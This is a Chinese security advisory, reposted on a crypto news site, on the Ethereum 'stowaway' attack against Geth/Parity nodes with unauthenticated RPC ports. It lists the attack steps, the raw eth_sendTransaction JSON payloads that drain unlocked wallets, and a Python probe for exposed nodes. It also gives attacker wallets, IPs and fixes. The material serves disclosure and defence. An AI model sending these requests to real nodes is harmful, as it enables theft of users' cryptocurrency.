ucex数字交易所可靠吗|揭秘以太坊中潜伏多年的“偷渡”漏洞,全球黑客正在疯狂偷币
世界上有一群人,互联网对于他们来说就是提款机。
是的,过去是,现在更是,因为电子货币的出现,他们提款的速度变得更疯狂。
在 2017 年,我们的蜜罐监测到一起针对以太坊的全球大规模攻击事件,我们将其命名为以太坊“偷渡”漏洞。
通过该漏洞,黑客可以在没有服务器权限、没有 keystore 密码权限的情况下,转走钱包中的所有余额。
而如此严重的漏洞,1 年前就在 reddit.com 被曝光有黑客在利用,并且最早可追溯到 2016 年的 2 月 14 号就有黑客通过此漏洞窃取到比特币:
(https://www.reddit.com/r/ethereum/comments/4z0 mvi/ethereum_nodes_with_insecure_rpc_settings_are/)
近期也有中国的慢雾安全团队揭露了这种攻击手法:
(https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg)
在长达 2 年的时间里,并没有多少用户关注到,以太坊也没有进行针对性的防护措施,直到今日,以太坊的最新代码中依然没有能够抵御这种攻击。
因此我们决定将我们所掌握的详细数据公布给所有人,希望能促使以太坊的开发者承认并修复该漏洞。
漏洞成因
(以下的代码分析基于 https://github.com/ethereum/go-ethereum 的当前最新提交:commit b1917ac9a3cf4716460bd53a11db40384103e5e2)
以太坊目前最流行的节点程序(Geth/Parity )都提供了 RPC API,用于对接矿池、钱包等其他第三方程序。
默认情况下,节点的 RPC 服务是无需密码就可以进行接口调用,官方实现的 RPC API 也并未提供设置 RPC 连接密码的功能,因此,一旦将 RPC 端口暴露在互联网,将会非常危险。
而我们所捕获的以太坊“偷渡”漏洞,正是利用了以太坊默认对 RPC 不做鉴权的设计。
被攻击的用户,需要具备以下条件:
- 节点的 RPC 端口对外开放
- 节点的 RPC 端口可直接调用 API,未做额外的鉴权保护(如通过 nginx 等方式进行鉴权保护)
- 节点的区块高度已经同步到网络的最新高度,因为需要在该节点进行转账,如果未达到最高度,无法进行转账
当用户对自己的钱包进行了解锁(unlockAccount 函数),在解锁超时期间,无需再输入密码,便可调用 RPC
API 的 eth_sendTransaction 进行转账操作。
漏洞的关键组成,由未鉴权的 RPC API 服务及解锁账户后有一定的免密码时间相结合,以下是解锁账户的 unlockAccount 函数:
代码路径:go-ethereum/internal/jsre/deps/api.go

通过函数的实现代码可见,解锁账户的 api 允许传入超时时间,默认超时为 300 秒,
真正进行解锁的函数 TimedUnlock 实现如下:
代码路径:go-ethereum/accounts/keystore/keystore.go

当传入的超时大于 0 时,会发起一个协程进行超时处理,如果传入的超时时间为 0,则是永久不会超时,账户一直处于解锁状态,直到节点进程退出。
详细的用法参考官方文档:https://github.com/ethereum/go-ethereum/wiki/Management-APIs#personal_unlockaccount
攻击手法揭秘
1. 寻找对外开放以太坊 RPC 端口的服务器,确认节点已经达到以太坊网络的最高区块高度
黑客通过全球的端口服务扫描,发现 RPC 服务为以太坊的 RPC 接口时,调用 eth_getBlockByNumber(‘last’,false),获取最新的区块高度。
但是由于有些以太节点是以太坊的分叉币,高度与以太坊的不一样,因此黑客即使发现节点高度与以太坊的高度不一样,也不会放弃攻击。
2. 调用 eth_accounts,获取该节点上的所有账户。
eth_accounts 的请求将返回一个账户地址列表:[0x1834axxxxxxxxxxxxxxxxxxxxxxxxxxx,0xa13jkcxxxxxxxxxxxxxxxxxxxxxxxxxxx,…… ]
3. 调用 eth_getBalance,查询地址余额。
这个过程黑客可在自己的服务器完成以太坊的余额查询,因为以太坊的区块链账本数据库是随意公开获取的。
有部分黑客没有搭建以太坊的全节点,没有自行查询余额,因此也会在被攻击服务器进行 eth_getBalance 操作。
4. 持续调用转账操作,直到刚好用户用密码解锁了钱包,完成非法转账操作的“偷渡”
黑客会构造 eth_sendTransaction 的转账操作,并填写余额、固定的手续费:
{“jsonrpc”:”2.0″,”id”:2,”method”:”eth_sendTransaction”,”params”:[{“from”:”受害者钱包地址 1″,”gas”:”0x55f0″,”to”:”0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,”value”:”0x112345fc212345000″}]}
{“jsonrpc”:”2.0″,”id”:2,”method”:”eth_sendTransaction”,”params”:[{“from”:”受害者钱包地址 2″,”gas”:”0x55f0″,”to”:”0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,”value”:”0x112345fc212345000″}]}
{“jsonrpc”:”2.0″,”id”:2,”method”:”eth_sendTransaction”,”params”:[{“from”:”受害者钱包地址 3″,”gas”:”0x55f0″,”to”:”0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6″,”value”:”0x112345fc212345000″}]}
其中的 value 的单位是以太的最小单位:wei,计算为以太的话需要除 10 的 18 次方:
0x112345fc212345000
19758522752314920960L
19758522752314920960L/1000000000000000000
19L
黑客会持续发转账操作,并定期监控余额变化,更新转账的金额,直到用户使用钱包,输入密码解锁了钱包,此时钱包余额会立即被转走。
快速漏洞测试
安装 python 的 web3 库,然后连接 RPC 端口,发起请求,如果获取到返回结果,便可能存在该漏洞。
参考:http://web3py.readthedocs.io/en/stable/quickstart.html
from web3 import Web3, HTTPProvider, IPCProvider
web3 = Web3(HTTPProvider(‘http://ip:port’))
print web3.eth.blockNumber
黑客解密及 IOCs 情报
黑客钱包
目前我们掌握了 3 个黑客的钱包收款地址,未转走的账户余额为 2220 万美金:
https://etherscan.io/address/0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464,余额为 38,076 ETH (未统计 erc20 token),最早进账为 2016-2-14,最新进账为 2018-3-21 (当前还在持续入账)
https://etherscan.io/address/0x96a5296eb1d8f8098d35f300659c95f7d6362d15,余额为 321 ETH (未统计 erc20 token),最早进账为 2016-8-10,最新进账为 2017-11-28。
https://etherscan.io/address/0xdc3431d42c0bf108b44cb48bfbd2cd4d392c32d6,余额为 330 ETH (未统计 erc20 token),最早进账为 2018-2-06,最新进账为 2018-3-20。
黑客攻击源 IP
146.0.249.87 (德国黑森州法兰克福)
162.251.61.133 (加拿大)
190.2.133.114 (库拉索)
85.14.240.84 (德国北莱茵)
目前大部分的黑客使用 https://github.com/regcostajr/go-web3 进行频繁 API 请求,如果有看到大量 user-agent 为
“Go-http-client/1.1”的 POST 请求时,请记录下请求内容,确认是否为恶意行为。
紧急响应及修复建议
- 关闭对外暴露的 RPC 端口,如果必须暴露在互联网,请使用鉴权:https://tokenmarket.net/blog/protecting-ethereum-json-rpc-api-with-password/
- 借助防火墙等网络防护软件,封堵黑客攻击源 IP
- 检查 RPC 日志、web 接口日志,是否有异常大量的频繁请求,检查请求内容是否为 eth_sendTransaction
- 等待以太坊更新最新代码,使用修复了该漏洞的节点程序
文章来源:BLS 区块链安全实验室
- 免责声明
- 世链财经作为开放的信息发布平台,所有资讯仅代表作者个人观点,与世链财经无关。如文章、图片、音频或视频出现侵权、违规及其他不当言论,请提供相关材料,发送到:2785592653@qq.com。
- 风险提示:本站所提供的资讯不代表任何投资暗示。投资有风险,入市须谨慎。
- 世链粉丝群:提供最新热点新闻,空投糖果、红包等福利,微信:juu3644。

共享财经



